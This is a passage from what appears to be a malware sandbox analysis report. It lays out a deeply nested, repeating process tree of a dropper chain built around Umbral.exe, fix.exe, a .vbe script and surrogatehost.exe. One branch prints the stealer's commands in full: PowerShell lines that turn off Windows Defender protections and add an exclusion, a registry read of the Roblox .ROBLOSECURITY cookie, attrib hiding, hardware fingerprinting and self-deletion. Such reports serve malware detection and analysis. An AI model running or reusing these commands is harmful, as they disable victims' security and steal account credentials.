        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        60⤵
        
        PID:2020
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        61⤵
        
        PID:2008
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        62⤵
        
        PID:2392
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        63⤵
        Loads dropped DLL
        
        PID:2928
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        64⤵
        
        PID:2428
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        58⤵
        
        PID:872
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        59⤵
        
        PID:2056
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        59⤵
        
        PID:2124
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        60⤵
        
        PID:1964
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        61⤵
        System Location Discovery: System Language Discovery
        
        PID:2488
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        62⤵
        Loads dropped DLL
        
        PID:2152
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        63⤵
        
        PID:2688
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        57⤵
        
        PID:2668
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        58⤵
        
        PID:1252
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        58⤵
        
        PID:2000
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        59⤵
        
        PID:1652
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        60⤵
        
        PID:2328
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        61⤵
        Loads dropped DLL
        
        PID:1744
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        62⤵
        
        PID:840
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        56⤵
        
        PID:2868
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        57⤵
        Drops file in Drivers directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:2512
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        58⤵
        
        PID:2960
        
        C:\Windows\system32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        58⤵
        Views/modifies file attributes
        
        PID:1804
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
        58⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:908
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        58⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:320
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        58⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1576
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        58⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:292
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        58⤵
        
        PID:600
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        58⤵
        
        PID:984
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        58⤵
        
        PID:1592
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        58⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2824
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        58⤵
        Detects videocard installed
        
        PID:1996
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
        58⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:2400
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        59⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1328
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        57⤵
        
        PID:2656
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        58⤵
        
        PID:1260
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        59⤵
        
        PID:448
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        60⤵
        Loads dropped DLL
        
        PID:3040
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        61⤵
        
        PID:1280
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        55⤵
        
        PID:2280
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        56⤵
        
        PID:2864
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        56⤵
        
        PID:836
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        57⤵
        System Location Discovery: System Language Discovery
        
        PID:2660
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        58⤵
        System Location Discovery: System Language Discovery
        
        PID:2112
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        59⤵
        Loads dropped DLL
        
        PID:2608
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        60⤵
        
        PID:572
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        54⤵
        
        PID:2920
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        55⤵
        
        PID:2024
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        55⤵
        
        PID:804
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        56⤵
        
        PID:2840
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        57⤵
        
        PID:2236
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        58⤵
        Loads dropped DLL
        
        PID:1048
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        59⤵
        
        PID:952
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        53⤵
        
        PID:1576
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        54⤵
        
        PID:2808
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        54⤵
        
        PID:2900
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        55⤵
        
        PID:1680
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        56⤵
        
        PID:1956
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        57⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:1600
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        58⤵
        
        PID:768
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        52⤵
        
        PID:1720
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        53⤵
        
        PID:1916
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        53⤵
        
        PID:2236
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        54⤵
        System Location Discovery: System Language Discovery
        
        PID:916
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        55⤵
        
        PID:2988
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        56⤵
        Loads dropped DLL
        
        PID:1244
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        57⤵
        
        PID:1692
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        51⤵
        
        PID:2212
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        52⤵
        
        PID:2680
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        52⤵
        
        PID:2264
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        53⤵
        
        PID:1692
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        54⤵
        System Location Discovery: System Language Discovery
        
        PID:2860
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        55⤵
        Loads dropped DLL
        
        PID:2932
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        56⤵
        
        PID:1440
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        50⤵
        
        PID:2240
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        51⤵
        
        PID:1532
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        51⤵
        
        PID:984
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        52⤵
        System Location Discovery: System Language Discovery
        
        PID:1152
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        53⤵
        
        PID:1732
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        54⤵
        Loads dropped DLL
        
        PID:2944
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        55⤵
        
        PID:1280
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        49⤵
        
        PID:2224
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        50⤵
        
        PID:2112
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        50⤵
        
        PID:2204
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        51⤵
        
        PID:2400
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        52⤵
        
        PID:1124
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        53⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:2220
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        54⤵
        
        PID:2912
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        48⤵
        
        PID:1736
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        49⤵
        
        PID:2412
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        49⤵
        
        PID:2132
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        50⤵
        
        PID:924
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        51⤵
        System Location Discovery: System Language Discovery
        
        PID:2376
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        52⤵
        Loads dropped DLL
        
        PID:3048
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        53⤵
        
        PID:1672
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        47⤵
        
        PID:2932
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        48⤵
        
        PID:1920
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        48⤵
        
        PID:2928
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        49⤵
        
        PID:2716
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        50⤵
        System Location Discovery: System Language Discovery
        
        PID:2016
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        51⤵
        Loads dropped DLL
        
        PID:296
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        52⤵
        
        PID:1964
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        46⤵
        
        PID:2448
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        47⤵
        
        PID:1900
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        47⤵
        
        PID:348
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        48⤵
        
        PID:2284
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        49⤵
        System Location Discovery: System Language Discovery
        
        PID:2372
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        50⤵
        Loads dropped DLL
        
        PID:2656
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        51⤵
        
        PID:980
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        45⤵
        
        PID:2732
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        46⤵
        
        PID:1556
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        46⤵
        
        PID:2376
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        47⤵
        System Location Discovery: System Language Discovery
        
        PID:1740
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        48⤵
        System Location Discovery: System Language Discovery
        
        PID:992
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        49⤵
        Loads dropped DLL
        
        PID:1100
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        50⤵
        
        PID:2792
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        44⤵
        
        PID:2580
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        45⤵
        
        PID:1956
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        45⤵
        
        PID:952
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        46⤵
        System Location Discovery: System Language Discovery
        
        PID:1784
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        47⤵
        System Location Discovery: System Language Discovery
        
        PID:2332
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        48⤵
        Loads dropped DLL
        
        PID:2104
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        49⤵
        
        PID:844
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        43⤵
        
        PID:2680
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        44⤵
        
        PID:1496
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        44⤵
        
        PID:2372
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        45⤵
        
        PID:1044
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        46⤵
        
        PID:2748
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        47⤵
        Loads dropped DLL
        
        PID:2804
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        48⤵
        
        PID:2452
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        42⤵
        
        PID:3044
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        43⤵
        
        PID:2312
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        43⤵
        
        PID:2148
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        44⤵
        System Location Discovery: System Language Discovery
        
        PID:2256
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        45⤵
        
        PID:2344
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        46⤵
        Loads dropped DLL
        
        PID:1708
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        47⤵
        
        PID:292
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        41⤵
        
        PID:2892
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        42⤵
        
        PID:2628
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        42⤵
        
        PID:1644
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        43⤵
        
        PID:1280
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        44⤵
        
        PID:1148
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        45⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:2064
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        46⤵
        
        PID:2708
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        40⤵
        
        PID:1928
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        41⤵
        
        PID:1680
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        41⤵
        
        PID:2240
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        42⤵
        System Location Discovery: System Language Discovery
        
        PID:892
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        43⤵
        System Location Discovery: System Language Discovery
        
        PID:348
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        44⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:2160
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        45⤵
        
        PID:2296
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        39⤵
        
        PID:2908
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        40⤵
        
        PID:2824
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        40⤵
        
        PID:1656
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        41⤵
        System Location Discovery: System Language Discovery
        
        PID:1564
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        42⤵
        System Location Discovery: System Language Discovery
        
        PID:3040
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        43⤵
        Loads dropped DLL
        
        PID:2648
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        44⤵
        
        PID:2512
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        38⤵
        
        PID:2652
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        39⤵
        
        PID:1524
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        39⤵
        
        PID:448
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        40⤵
        
        PID:868
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        41⤵
        
        PID:1972
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        42⤵
        Loads dropped DLL
        
        PID:2476
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        43⤵
        
        PID:2484
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        37⤵
        
        PID:2112
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        38⤵
        
        PID:1496
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        38⤵
        
        PID:3012
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        39⤵
        
        PID:1492
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        40⤵
        System Location Discovery: System Language Discovery
        
        PID:1740
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        41⤵
        Loads dropped DLL
        
        PID:2992
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        42⤵
        
        PID:1256
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        36⤵
        
        PID:3032
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
